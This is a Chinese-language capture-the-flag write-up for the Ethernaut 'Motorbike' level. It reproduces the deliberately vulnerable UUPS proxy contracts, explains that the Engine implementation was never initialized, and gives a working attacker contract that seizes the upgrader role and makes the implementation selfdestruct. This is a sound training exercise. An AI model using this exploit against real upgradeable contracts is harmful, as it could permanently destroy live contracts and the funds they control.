25.Motobike
2023-07-19 14:29:14 # 04.Ethernaut CTF

Motobike

题目

要求:将Engine合约摧毁(selfdestruct)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

分析

  • UUPS代理
  • Motorbike在构造器中是delegatecall实现类Engine的initialize(),因此是初始化本合约中的内容,而没有初始化Engine,因此Engine的initialize()尚未被调用过。任何人都可以调用initialize()来设置upgrader
  • UUPS的实现类地址不是存放在proxy中,而是存放在实现类中。我们调用upgradeToAndCall()修改实现类地址的时候,还会调用实现类的任意一个方法。
  • 正常逻辑实现类地址应该是Engine的地址,或者由MotorBike来修改实现类地址。但是这里可以成为upgrader,可以将实现类地址修改成恶意地址
  • 题目给的是instance地址,也就是motorbike合约的地址,实现类合约Engine的地址需要我们去slot 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc 获得。

解题

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity 0.6.7;

interface IEngine{
function initialize() external;
function upgradeToAndCall(address,bytes calldata) external payable ;
function upgrader() external view returns(address);
}

contract attacker{
// level instance's address: 0x4Eb81234e2A2b8Ec4C6bc1d4723aB609de5E0e39 proxy
// Engine's address: getStorageAt(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
// the result is 0x000000000000000000000000c09abaff6aeba3978121a923aa3a7d99f926b34f
// so target = 0xc09abaff6aeba3978121a923aa3a7d99f926b34f
function attack(IEngine target) external{
target.initialize();
target.upgradeToAndCall(
address(this),
abi.encodeWithSelector(this.kill.selector)
);
}

function kill() external{
selfdestruct(payable(address(0)));
}
}

attack flow

successfully